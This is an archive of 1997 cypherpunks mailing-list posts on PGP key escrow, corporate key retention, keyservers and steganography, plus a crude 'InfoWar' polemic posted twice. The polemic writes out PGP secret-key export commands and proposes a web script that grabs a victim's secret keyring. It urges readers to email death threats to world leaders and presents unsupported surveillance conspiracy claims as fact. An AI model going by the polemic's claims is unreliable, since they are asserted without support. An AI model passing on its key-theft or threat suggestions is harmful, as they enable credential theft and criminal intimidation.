> terms such as "key escrow", "key recovery", which are government
> coined terms.  PGP Inc themselves being mostly cypherpunks and
> pro-privacy people use the term GACK also.
> 
> GACK seems a pretty good acronym to me, accurate, descriptive.  Are we
> getting goverment-correct now as well (as politically-correct)?  So
> that we must not use terms which are offensive to governments?
>
> (I will attempt to avoid negative political comments about PGP Inc's
> implementation, and phrase in terms of constructive criticisms though,
> and perhaps this was your point given my earlier outbursts in this
> regard; perhaps you can help proof read for this).

Whatever.  It does strike me that you seem to have difficulty in
maintaining composure whenever the term comes up, your prose gets
hasty, with missing words and odd syntax, and I suspect that your
usually razor-sharp edge suffers as well....  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Mon, 20 Oct 1997 15:19:31 +0800
To: cypherpunks@toad.com
Subject: One-Way Functions
Message-ID: <199710200704.AAA15823@k2.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



I've read tons about how DES, PGP, and all of those programs use a 
one-way function involves the difficulty of factoring out numbers. 
Are there other one-way functions?

--Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Mon, 20 Oct 1997 15:19:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is PGP still private?
In-Reply-To: <19971018092636.45297@bywater.songbird.com>
Message-ID: <19971020000916.31377@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 19, 1997 at 07:22:37AM +1000, Andrew Bromage wrote:
> G'day all.
> 
> Kent Crispin wrote:
> 
> > Your reencryption scheme fails because of the management of the short
> > term encryption keys, among other things.  Here's another approach I
> > will toss out, without thinking through:
> > 
> > How about formalizing superencryption, or tunneling? That is, treat
> > CMR traffic as a transport medium for messages that are themselves
> > already encrypted.  The "key" idea here is to allow layering of non
> > CMR traffic over CMR traffic.  All the code for both is obviously
> > already in PGP, with a little glue and perhaps some minor protocol
> > mods...
> 
> If we start considering that, could I suggest making the system
> _completely_ flexible?
> 
> The sort of things I'm thinking of include:  Allow any object to be
> encrypted using conventional encryption (including conventional
> encryption keys) or signed, allow any conventional encryption key to
> be public-key encrypted or split, conjunction/disjunction of two
> conventional keys, etc.
> 
> Disadvantages:
> 
> 	- Greatly complicates the decryption process.  In particular,
> 	  decrypted streams must be fed back into PGP.

My impression from a talk by ???, perhaps at the San Jose IETF, is
that the new version of PGP is actually coded to facilitate this kind
of interaction internally -- that is, it is designed around a general
interface philosophy of connecting filter modules via a stream
abstraction. 

> 	- Difficult for an end-user to specify what combination of
> 	  features they want.

I think it would be a relatively straightforward, fun project to
develop a simple scripting language that could specify this.  Not knowing 
that much, I toss this out just to give the flavor of something that could 
be in a .pgprc file:

message-to:private_joe@bigco.com
	encrypt(joes_private_private_stego_key)->
	stegosaurous.gif->
	encrypt(joes_bigco_cmr_key,bigco_cmr_key)
	address-to:joe@bigco.com

message-to:joe@bigco.com
	encrypt(joes_bigco_cmr_key,bigco_cmr_key)
	address-to:joe@bigco.com

message-from:joe@bigco.com
	decrypt(*)->encrypt(my_private_storage_key)

> 	- This working group would be around for years arguing about
> 	  details. :-)

Definitely not for version 1 of the standard.

> Advantages:
> 
> 	- Allows PGP to be used for lots of things that we haven't
> 	  thought of yet.

	- GAK would be impossible to enforce.

> 	- File format could be considerably simplified, if we could
> 	  scrap the old format.  (Unrealistic, but what the hell.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Mon, 20 Oct 1997 12:21:28 +0800
To: "tcmay@got.net>
Subject: Re: "First do no harm"
Message-ID: <199710200420.AAA03892@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 19 Oct 1997 16:31:10 -0700, Tim May wrote:

>At 5:23 PM -0700 10/19/97, Jean-Francois Avon wrote:
>First, are you reading Cypherpunks? 

No.  I don't have time to even read all of e$ and e$pam.  I am not yet retired... :-)

>If so, post there. If not, please
>forward my reply to the "e$"

Done.

>If I operated a small company, I would have no policy on this at all.  Just
>as I wouldn't routinely tape-record employees, I wouldn't monitor their
>mail.
>Do most small businesses steam open all of the incoming and outgoing paper
>mail?

Let me describe a scenario: one key employee isn't there because... ...he is somewhere else [ :-) ]

Then, comes an urgent message forcing the company to make a split-second decision before the employee gets back.  It 
happens _all_the_time_ in small businesses where they do not have the ressource of the big companies.  You, the boss,  want to 
re-read some critical documents before making a move.  Of course, your employee was the most consciencious and trustworthy 
employee on this side of Andromeda, only, your memory fails as what was the *exact* wording of the critical documents.  It 
furthermore happens that the said faithfull employee is, unknown to you and in his mind not-company-detrimental, getting intronized 
to the mile-high club between L.A and Tokyo in the plane lavatory, therefore not reacheable by any modern means.  Wouldn't you 
wish you had his corporate private key?

In the old days, you used to scramble through his mountain of paper on his desk.  In more recent days, you frantically scanned his 
exemplary organized data structure and found the documents.  Today, the said data structure is still exceptionally orderly, but only 
to reveal several very describing filenames with a  dot-asc or dot-pgp extension.

Any comments?

>If a small business owner doesn't trust his employees, all is lost anyway.
>(Employees can post stuff from home, can take diskettes out of the
>building, etc., so what is gained by monitoring their mail?)

I thought that this was so self-evident that I did not even thought usefull to explain.
I was not talking about having employees giving copies of their personnal private key but of their corporate private key.  The one 
they use to transact business over unsecured lines, not the one they use to send raunchy messages to their lover.

>And if an employer is known to monitor employee mail, this actually
>increases his liability for certain things. (If an employer does not, then
>he has a better defense of claiming that some employee was acting on his
>own, etc.)

I never talked of monitoring e-mail, only of making sure the business retains access to employee-generated documents.  I used to 
have a private key for the company at a previous work location.  The first thing I did was to give my boss my passphrase for being 
afraid of what could happens if ever they needed a critical document during my absence.  He did not even know how to use PGP, 
but I made sure that somebody did.

This is why I said that a "secret" copy would be given to the boss.  He could encrypt the employees keys, print it on a micro-dot and 
hide it under his gold tooth cap.  And that way, there is always deniability since there is official company policy.  

Or better, all the boss has to do is to generate the employee's keys himself.  He could forever deny having made a copy and 
nobody could prove that he did.

Personnally, I would make sure that all keys to be used to transact business be generated by the boss, to be handed on a diskette 
in person.

As far as trying to prevent malicious action, I agree that there is no way an employer can do that.  Anybody really intent on screwing 
up things can.

Ciao

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Oct 1997 16:05:31 +0800
To: cypherpunks@toad.com
Subject: Fwd: list of keyservers
Message-ID: <3.0.3.32.19971020001741.006c636c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Attila sent the following list of keyservers
----------------------------------------------------------
the following is a collection of key servers; and there are more.

    <a href="http://pgp5.ai.mit.edu/pks-commands.html">
        bal keyserver at MT </a>

    <a href="http://www.pgp.com/keyserver/pks-lookup.cgi">
        pgp corporate keyserver </a>

    <a href="http://akpublic.research.att.com:80/~reiter/PathServer/">
        reiter PathServer at research.att </a>

    <a href="http://w3.gti.net/netrin/matrix/">
        Matrix Key Server </a> (an oddball, down on 19/10/97)

    the rest are clones of MIT

    <a href="http://goliat.upc.es/~alvar/pks/pks-toplev.html">
        Universitat PolitÞcnica de Catalunya, Barcelona </a>

    <a href="http://www.cl.cam.ac.uk/PGP/#pks"> 
        Cambridge University </a> 
       
    <a href="http://www.service.uit.no/pgp/servruit.eng.html"> 
        University of Troms </a> 

    <a href="http://www.nic.surfnet.nl/pgp/pks-toplev.html">
        Tilburg University </a>

    <a href="http://math-www.uni-paderborn.de/pgp/">
        University of Paderborn </a>

    <a href="http://pgp.tnjc.edu.tw/pgp/pks-toplev.html">
        Tung-Nan Junior college, Taiwan </a>

    <a href="http://pgp.uni-mainz.de/keyserver">
        University of Mainz </a>  


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Oct 1997 16:05:08 +0800
To: "Andrew Wiggin" <cypherpunks@toad.com
Subject: Re: Been tried before?
In-Reply-To: <19971018052525.20913.qmail@hotmail.com>
Message-ID: <3.0.3.32.19971020004751.006c4c04@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:25 PM 10/17/1997 PDT, Andrew Wiggin wrote:
>I had an idea for a key system using graphics files. Has that been tried 
>before? The basic idea was to use a graphics file with a color depth of 
>24-bit or higher. Then, using the rgb values of, say, every prime pixel 

What are you trying to accomplish?  Having a non-obvious place
to store passwords?  After all, your suggestion is really equivalent
to a bunch of numbers stored in a file.

What has usefully been done is to take numbers and hide them as
low-order bits in a graphic file, with various implementations
getting fancy about either just sticking them there or looking
at the palette values from the picture and finding something
visually better matching.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 20 Oct 1997 18:45:05 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 5 (Part III of 'The True Story of the InterNet')
Message-ID: <344B1AD5.18A9@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Epilogue 
Cowboy


Epilogue


11 May 1905

Walking on the Marktgasse, one sees a wondrous sight. The cherries
in the fruit stalls sit aligned in rows, the hats in the millinery
shop are neatly stacked, the flowers on the balconies are arranged
in perfect symmetries, no crumbs lie on the bakery floor, no milk
is spilled on the cobblestones of the buttery. No thing is out
of place.

When a gay party leaves a restaurant, the tables are more tidy
than before. When a wind blows gently through the street, the
street is swept clean, the dirt and dust transported to the edge
of town. When waves of water splash against the shore, the shore
rebuilds itself. When leaves fall from the trees, the leaves line
up like birds in V-formation. When clouds form faces, the faces
stay. When a pipe lets smoke into a room, the soot drifts toward
a corner of the room, leaving clear air. Painted balconies exposed
to wind and rain become brighter in time. The sound of thunder
makes a broken vase reform itself, makes the fractured shards
leap up to the precise positions where they fit and bind. The
fragrant odor of a passing cinnamon cart intensifies, not dissipates,
with time.

Do these happenings seem strange?

In this world, the passage of time brings increasing order. Order
is the law of nature, the universal trend, the cosmic direction.
If time is an arrow, that arrow points toward order. The future
is pattern, organization, union, intensification; the past, randomness,
confusion, disintegration, dissipation.

Philosophers have argued that without a trend toward order, time
would lack meaning. The future would be indistinguishable from
the past. Sequences of events would be just so many random scenes
from a thousand novels. History would be indistinct, like the
mist slowly gathered by treetops in the evening.

In such a world, people with untidy houses lie in their beds and
wait for the forces of nature to jostle the dust from their windowsills
and straighten the shoes in their closets. People with untidy
affairs may picnic while their calendars become organized, their
appointments arranged, their accounts balanced. Lipsticks and
brushes and letters may be tossed into purses with the satisfaction
that they will sort themselves out automatically. Gardens need
never be pruned, weeds never uprooted. Desks become neat by the
end of the day. Clothes on the floor in the evening lie on chairs
in the morning. Missing socks reappear.

If one visits a city in the spring, one sees another wondrous
sight. For in springtime the populace becomes sick of the order
in their lives. In spring, people furiously lay waste to their
houses. They sweep in dirt, smash chairs, break windows. On Aarbergergasse,
or any residential avenue in sprint, one hears the sounds of broken
glass, shouting, howling, laughter. In spring, people meet at
unarranged times, burn their appointment books, throw away their
watches, drink through the night. This hysterical abandon continues
until summer, when people regain their senses and return to order.

{Excerpt from "Einstein's Dreams" by Alan Lightman}



Cowboy

"All My Lies Are True,
 And everything I do,
 I really Am."

-   Carroll

In other words, if it looks like a duck, walks like a duck and
quacks like a duck...it's probably a duck.
Reality is a Freudian slip.

InfoWar has been around since Adam and Eve gobbled down on the
fruit from the Tree of the Knowledge of Good and Evil.

The fig leaf was the first cover-up. "Sorry, God, but
what's under there is Top Secret."

Adam blamed Eve, Eve blamed the Serpent, and the Serpent blamed
his publicity department, fired six people, replaced them with
Spin Doctors, and went on to become President.

Figuratively speaking, of course.

Now all of the CypherPunks are sitting around slapping their foreheads
and saying:
Old Farts: "I should have listened to Lenny Bruce."

Middle Aged Farts: "I should have listened to Bob Dylan."

Young Farts: "I should have listened to Marilyn Manson."

Stupid Farts: "I should have listened to TruthMonger."


People you should have lynched, and now it's too late:
The person who named a nuclear missile, 'The PeaceKeeper.'
The President who let slip the words, 'New World Order.'
The first person to utter, "What the President meant
to say, was..."
Everyone who said, "I'm from the government, and I'm here
to help you."
...ad infinitum...

How many Nazi intelligence agents and rocket scientist were brought
into the US after World War II to work with the government and
large corporations?
Sorry, Top Secret.
How much biological and germ warfare research is being done with
your tax money?
Sorry, Top Secret.
How many foreign leaders, politicians, diplomats and business
men have been assassinated using your tax dollars?
Sorry, Top Secret.

Of course, now 'National Security' is the 'magic word.' (Or is
that 'magic sword?')

"Intelligence reports indicate that terrorists breathe..."

{Go ahead and extrapolate the preceding government statement
to its final conclusion. Don't forget the breathing tax that will
be necessary to cover the costs of the digital nose implants.}


Your education wasn't 'free,' was it?
You had to pay for it by Pledging Allegiance every morning. You
had to pay for it by sitting up straight at your desk. You had
to pay for it by asking permission to pee. You had to pay for
it by making sure your desk was lined up straight with the others.
You had to pay for it by shutting the fuck up when you had a creative
thought, and hypnotically repeating back the lessons you were
taught. 

Who discovered America? And what the fuck were all of those goddamn
Indians doing there when it was 'discovered?' Fucking troublemakers...


Interactive. Doesn't that sound better than Corporate Message
Recovery? Better than Government Access to God-and-Everything?

The cynics make it all sound so dark and damning. All the Fascists
really want is to make certain that everyone is sitting up straight
in their seats...that the seats are lined up properly...that
no one forgets to pledge allegiance...that you ask permission
before you pee...

"THERE IS NO SECRET PLOT AGAINST
THE CYPHERPUNKS LIST!!!"

We are here to help you...

Tim, sit up straight in your chair. Lucky, sit down, you can go
to the bathroom when I'm finished talking. Bill, Bill and William,
no more back-talk. Adam, apologize to PGP. Duncan, quit fidgeting.
Peter, have you been passing notes to TruthMonger, again? Blanc,
Mr. Gates will not be allowed to pick you up after class unless
he brings a note from your parents. Matthew and Phil, from now
on we will be using 3.0 as the value of pi, as per the new legislation.
Toto! Pull up your pants and leave that puppy alone.
Thank you for the apple, Kent. Would you like to lead the class
in pledging allegiance to PGP for Corporations?


When a US Armed Forces trained killer attacked a Federal Government
Building, who got the blame?
Citizens. Citizens with guns. Citizens with non-government guns.
The Paramilitary.

When a US Secret Intelligence Agency trained cryptographer attacks
a Federal Government Computer System, who will get the blame?

Citizens. Citizens with crypto-munitions. Citizens with non-government
crypto-munitions. The CypherPunks.

Have you figured out what 'InfoWar' is, yet?

Cryptography is merely a battleground. Encryption is merely one
of the most dangerous weapons against the goals of InfoWar.

The War is over who will control Information.
The War is over who will control Words.
The War is over who will control Thoughts.
The War is over who will control Attention.
The War is over who will control Virtual Reality.
The War is over who will control WebWorld.

World War III is InfoWar!

Whoever controls Information, controls the Past.
Oswald acted alone..

Whoever controls Information, controls the Present.
 Gilmore acted alone.

Whoever controls Information, controls the Future.
Tim C. May acted alone...


Repeat after me:

"Department of Defense secret agencies created the InterNet,
but they do not control and/or monitor all activity and communications
that take place on it."

"The government has shifted the focus of their engineers,
physicists and secret intelligence agencies from nuclear warfare
to information warfare, but they would not manipulate, destroy
and murder those who present a threat to their preeminence in
this arena of warfare."

"When the government's secret underground laboratories
reveal and share the technology of radar that can see through
solid walls, satellite cameras that can read the newspaper over
your shoulder, and tiny helicopters that can fit inside a peanut
shell, they are not in possession of even greater forms of clandestine
technology."

Reality Check:
Why is strong encryption such a dangerous threat to the secret
and semi-secret agencies, committees and non-government bodies
who rule us from the shadows?
It is because they already have the ability to
monitor all of our activities and communications. Widespread use
of strong encryption threatens that ability.


People who control technology and standards are on the inside.
People who make the chips that go into the computers and peripherals
are on the inside. People who supply the physical routes that
information travels over are on the inside.
People who use the above, are on the outside.

Arms for drugs, drugs for money-arms, drugs and money for favors
and information.

Our secret intelligence agencies tell our legislators that use
of strong crypto will interfere with their manipulation of the
electronic funds of the 'bad' individuals, corporations, and governments.

Why did Colonel Olive North trade weapons and drugs to have the
hostages held until Ronnie RayGuns election and then released
on the day of his inauguration? Because weapons were what the
Iranians wanted.
What if the Iranians had wanted Sun Microsystems financially ruined
in return for the timed release of the hostages? Or Intel? Or
Tim C. May? (Who knows? Maybe the Tim C. Mayonnaise ASCII Art
is part of the Iran-Contra deal.)

Did the US Secret Intelligence Agencies support the development
and release of cryptography that they couldn't break, or didn't
have a backdoor to?
If so, then why was PGP such a threat to 'National Security?'

If the Men in Black don't already have ready access to information
hidden within current forms of encryption, then why would widespread
use of strong encryption be a threat?

Try this:
Go to a command line: type 'cd \PGP262' ; type 'pgp -kxa "My
KeyID" secring.pgp'
Send the output file to Louis J. Freeh, and ask him to please
not read your encrypted files.

Now:
Do the same thing, only dialing in to your machine from a friend's
machine.

Now:
Write a browser Java script that gets the secring.pgp file from
your machine via a web site.

Now: 
Go home, kick your fucking door in, place a disk in the floppy
drive, and type 'pgp -kxa "My KeyID" a:\secring.asc
secring.pgp'.
Mail the disk to Louis J. Freeh

Does your copy of PGP ask for a password before spitting
out the KeyID to any one of a thousand monkeys who sits at your
keyboard and randomly types in the above?
My copy doesn't. 

Below is a copy of a key pulled off of my computer by 19 different
people. It was pulled off of my hard drive by the first individual,
who proceeded to inform a second individual of the method used,
and challenged them to do the same thing, using a different method.
The second did so, and passed all the information along to a third
person, etc., etc.
Nineteen people, nineteen different methods.

-----BEGIN PGP MESSAGE-----
Version: 2.6.2

lQHgAzHiUJEAAAEEAP1slPSwrVd90NVBqfsw6+JP64icmuSrztzyCgaPcXHRiy/J

Kbgi9/gy1iCnWcQh1ATaSzblATSU24Xw+4Ow4s5xOvdxFGoIop6EXwTNfwRa2EZr

6ZZ41Glr9g1g9H0RJwJlkldUcunVNekXel1MYA8VJJynvtZVuntA11SbF0AdAAUT

Ab7sJWrM/6azA/vV2wq4sdyfngUgUHq8Hlo5NHvEjyh2cSoMMNxnpKR3+XYRbYTd

HhwfbOvji1cWnVJF6GBxe3nLvbkbHJU+K3hNNYOT9JKMahu+5wKMbHkwToSsLzyQ

kgn2JlKDJugoycdjInlQs7NiyoOrIYWQzSi4yGbhl2t1Au+67UY/r57J9AIA8V/6

J5x1wH7MACSWU91jXXxpJvSud053nrSgnupEUbFX3dXm0GXf6vdhbQW9eYsIJmCI

pZLrqwBcFe2GWhk9AAIActyoxAgCvFyGSJHHzJVVoKfWk/gjmKs/r7+J9vWnBAkc

Pg0wqUn66Hmq0op28gEXU3qKJiJ8rAQETAxBhfpnJgH83CrrEZDcBY8IKsFI2A19

KahohyDXmsEHIWqKZLSwzjsYcf049RCUxNDPJZchuoMEPkK9414KyPqlJbStsFaE

YZ6itAxNYWdpYyBDaXJjbGU=
=GEo6
-----END PGP MESSAGE-----

Are your 'secret' keys any more secure than mine?
Answer: If you send me a message encrypted to the key above, then
it doesn't really matter, does it? The end result is the same.

Strong crypto is not a threat.
Widespread use of strong crypto is a threat.

The Monitors cannot put the latest-greatest spy chip in every
computer, every printer, every modem. They cannot password-snarf
every system. They cannot compromise every remailer, every ISP,
every private network.
At present, they don't need to.
They can enter my house, and your house, and grab our keys. They
can't do so for everyone, but they don't need to, because everyone
isn't using strong crypto. They can monitor your keyboard and
mine, but they can't monitor everybody's. They can beat you and
I with rubber hoses, but they can't beat everyone with rubber
hoses (although they can dream...).

The days of Judicial Safeguards are history.
There is no longer any need to go down to the local Teleco and
flash a warrant to get access to telephone conversations. The
Monitors own the satellites. Warrants are for when they are ready
to go to trial, and they want to do it by the book.
Hackers don't get warrants. Hackers don't need no stinking badges...and
neither do secret intelligence agencies.

What is the problem with widespread use of strong crypto?

It gets in the way of immediate access to data and communications.

If you understand nothing else about InfoWar, understand this:

The Monitors already have access to almost all data and
communications. They are not attempting to get something they
don't have, they are trying to hold onto something that they already
have.

They can't kill a news story or editorial after it comes
out. They can't put genies back in the bottle after they
are released. Arranging for you to have an unfortunate accident
tomorrow doesn't erase the email you sent today.

Try this:
Get email accounts in the names of your children. Send messages
back and forth between them. Analyze the send and receive timing
of the Dr. Seus messages, as opposed to those of the 'Death Threat'
and 'Tim McVeigh' messages. 
Do traceroutes to find out how the accounts travel via routes
to a variety of systems. Then send emails between the accounts
which threaten the lives of world leaders and various politicians.
Now do traceroutes and find out what routes the accounts travel.

And remember, this is for your children's accounts.

The Monitors can get access to the keys of a thousand individuals
at a corporation, but this is unacceptable. They want access to
one key that allows them to access all of the thousand
individual's files and communications.
Their goals are quite simply to control and monitor information
as close to the source as possible. This is why they need 'Official'
news sources. 'Approved' websites. 'Authorized' encryption programs.

This is why they give away billions of dollars of digital airwaves
to mainstream media. This is why they launch, and then settle,
anti-trust actions, lawsuits, financial and criminal investigations.


NEWS FLASH!!!
Louis J. Freeh just discovered that he can ensure the institution
of GAK, CMR, and all manner of CRAP by killing your newborn
child.

Aren't you glad he's one of the 'good' guys?

Follow the Money!

Why do the Monitors want guaranteed access to all information
by 1999? Why are the Europeans planning to introduce a new form
of currency in 1999? What plans do the IRS have for 1999, when
it becomes obvious that many individuals, companies, and countries
do not have the capability to keep their bookwork from falling
into chaos?
Nothing? Right...

The US has plans in place for invading Canada in the event that
there is a need to do so, but they have no plans in place for
financial and organizational chaos being created by the Year2000
Bug. Right...

Governments, corporations, the rich and powerful...none of
them have any plans in place to take advantage of any problems
that arise in society, in government, in financial empires, due
to the Y2K Bug. Right...
 

The 'solutions' are already planned, and in place, waiting for
the problem. The solutions are pre-GAK'ed. The solutions have
eyes and ears.
Why is the IRS being 'rehabilitated' by Congressional investigation?
In preparation for 1999. Just as the FBI, the CIA, the DOJ, etc.,
have been 'rehabilitated.' Just as the government has been 'rehabilitated'
by the Freedom of Information Act, etc., while more and more power
is put into the hands of unelected committees, commissions and
semi-secret agencies.

InfoWar is being fought on the battlegrounds of Virtual Reality,
which are linked by the Information Highway. The armies are governmental
and corporate. The victor's prize, as always, is wealth and power.

On the battlefield of Encryption the war is over Access.

On the battlefield of Virtual Private Networks, the battle is
for Access.

The warplanes, ships, tanks, rockets and missiles...the air,
sea and ground wars...these are a dog-and-pony show for the
masses.
Just as the 'news' is for the masses.

When the Canadian Prime Minister is caught on audio-video calling
the US government criminals and thieves, this is news. This is
why he doesn't say those things into the microphone, except by
accident. It is not 'official' news, not 'managed' news, and it
will not be expanded upon for the general public.
The 'Official' news is 'Blah, blah, blah...'

Even the 'Official' news isn't really 'official' when the governments
deny it.
The Israelis didn't really release a political prisoner
as a result of a deal to have their assassination team returned.
Canadian intelligence agencies don't really help the Mossad
obtain false Canadian passports in return for having their own
back scratched.
As long as they pretend they didn't really get caught, then they
can keep pretending that they don't do this type of thing all
of the time.

This is InfoWar...
There are good pictures and bad pictures...good words and bad
words...good thoughts, ideas and beliefs, and bad ones.
The good people are here, where I am standing, and the bad people
are over there, where I am pointing.
My information is good information. Anything else is bad information.

There are good URL's and bad URL's, good communications and bad
communications.

The Constitution needs to be explained to your children by those
who wrap themselves in the flag, not by those who burn the flag.
CyberSitter!
The Bill of Rights needs to be explained to your children by those
who imprison and kill marihuana smokers, not by those who smoke
marihuana, even if they are doing so in a place where it is legal.
CyberSitter!
The Truth needs to be told to your children by those who the government
gives billions of dollars worth of the citizens' digital airwaves,
not by an armed forces veteran who is telling his story on his
own web page as the life force drains from his body due to his
imagined Gulf War Syndrome. CyberSitter!

Dimitri Vulis needs to be forcefully unsubscribed from the CypherPunks
Mailing List. SandySitter!

"You want anarchy? You can't HANDLE anarchy!"

- Jack Nicholson, playing Terry Nichols, in "Nuke the Murrah
Federal Building!"


InfoWar

There will be soldiers, spies, collaborators and members of the
resistance.
There will not be any winners, only survivors.
There will be survivors who can hold their heads high, and those
who cannot.

Never forget...


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 20 Oct 1997 17:09:10 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 5 / TEXT
Message-ID: <344B1AFE.7232@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * Cowboy

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

11 May 1905

Walking on the Marktgasse, one sees a wondrous sight. The cherries in the
fruit stalls sit aligned in rows, the hats in the millinery shop are neatly
stacked, the flowers on the balconies are arranged in perfect symmetries, no
crumbs lie on the bakery floor, no milk is spilled on the cobblestones of
the buttery. No thing is out of place.

When a gay party leaves a restaurant, the tables are more tidy than before.
When a wind blows gently through the street, the street is swept clean, the
dirt and dust transported to the edge of town. When waves of water splash
against the shore, the shore rebuilds itself. When leaves fall from the
trees, the leaves line up like birds in V-formation. When clouds form faces,
the faces stay. When a pipe lets smoke into a room, the soot drifts toward a
corner of the room, leaving clear air. Painted balconies exposed to wind and
rain become brighter in time. The sound of thunder makes a broken vase
reform itself, makes the fractured shards leap up to the precise positions
where they fit and bind. The fragrant odor of a passing cinnamon cart
intensifies, not dissipates, with time.

Do these happenings seem strange?

In this world, the passage of time brings increasing order. Order is the law
of nature, the universal trend, the cosmic direction. If time is an arrow,
that arrow points toward order. The future is pattern, organization, union,
intensification; the past, randomness, confusion, disintegration,
dissipation.

Philosophers have argued that without a trend toward order, time would lack
meaning. The future would be indistinguishable from the past. Sequences of
events would be just so many random scenes from a thousand novels. History
would be indistinct, like the mist slowly gathered by treetops in the
evening.

In such a world, people with untidy houses lie in their beds and wait for
the forces of nature to jostle the dust from their windowsills and
straighten the shoes in their closets. People with untidy affairs may picnic
while their calendars become organized, their appointments arranged, their
accounts balanced. Lipsticks and brushes and letters may be tossed into
purses with the satisfaction that they will sort themselves out
automatically. Gardens need never be pruned, weeds never uprooted. Desks
become neat by the end of the day. Clothes on the floor in the evening lie
on chairs in the morning. Missing socks reappear.

If one visits a city in the spring, one sees another wondrous sight. For in
springtime the populace becomes sick of the order in their lives. In spring,
people furiously lay waste to their houses. They sweep in dirt, smash
chairs, break windows. On Aarbergergasse, or any residential avenue in
sprint, one hears the sounds of broken glass, shouting, howling, laughter.
In spring, people meet at unarranged times, burn their appointment books,
throw away their watches, drink through the night. This hysterical abandon
continues until summer, when people regain their senses and return to order.

{Excerpt from "Einstein's Dreams" by Alan Lightman}
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                   Cowboy

                           "All My Lies Are True,
                            And everything I do,
                                I really Am."

                                  - Carroll

In other words, if it looks like a duck, walks like a duck and quacks like a
duck...it's probably a duck.
Reality is a Freudian slip.

InfoWar has been around since Adam and Eve gobbled down on the fruit from
the Tree of the Knowledge of Good and Evil.

The fig leaf was the first cover-up. "Sorry, God, but what's under there is
Top Secret."

Adam blamed Eve, Eve blamed the Serpent, and the Serpent blamed his
publicity department, fired six people, replaced them with Spin Doctors, and
went on to become President.

Figuratively speaking, of course.

Now all of the CypherPunks are sitting around slapping their foreheads and
saying:
Old Farts: "I should have listened to Lenny Bruce."
Middle Aged Farts: "I should have listened to Bob Dylan."
Young Farts: "I should have listened to Marilyn Manson."
Stupid Farts: "I should have listened to TruthMonger."

People you should have lynched, and now it's too late:
The person who named a nuclear missile, 'The PeaceKeeper.'
The President who let slip the words, 'New World Order.'
The first person to utter, "What the President meant to say, was..."
Everyone who said, "I'm from the government, and I'm here to help you."
...ad infinitum...

How many Nazi intelligence agents and rocket scientist were brought into the
US after World War II to work with the government and large corporations?
Sorry, Top Secret.
How much biological and germ warfare research is being done with your tax
money?
Sorry, Top Secret.
How many foreign leaders, politicians, diplomats and business men have been
assassinated using your tax dollars?
Sorry, Top Secret.

Of course, now 'National Security' is the 'magic word.' (Or is that 'magic
sword?')

"Intelligence reports indicate that terrorists breathe..."
{Go ahead and extrapolate the preceding government statement to its final
conclusion. Don't forget the breathing tax that will be necessary to cover
the costs of the digital nose implants.}

Your education wasn't 'free,' was it?
You had to pay for it by Pledging Allegiance every morning. You had to pay
for it by sitting up straight at your desk. You had to pay for it by asking
permission to pee. You had to pay for it by making sure your desk was lined
up straight with the others. You had to pay for it by shutting the fuck up
when you had a creative thought, and hypnotically repeating back the lessons
you were taught.

Who discovered America? And what the fuck were all of those goddamn Indians
doing there when it was 'discovered?' Fucking troublemakers...

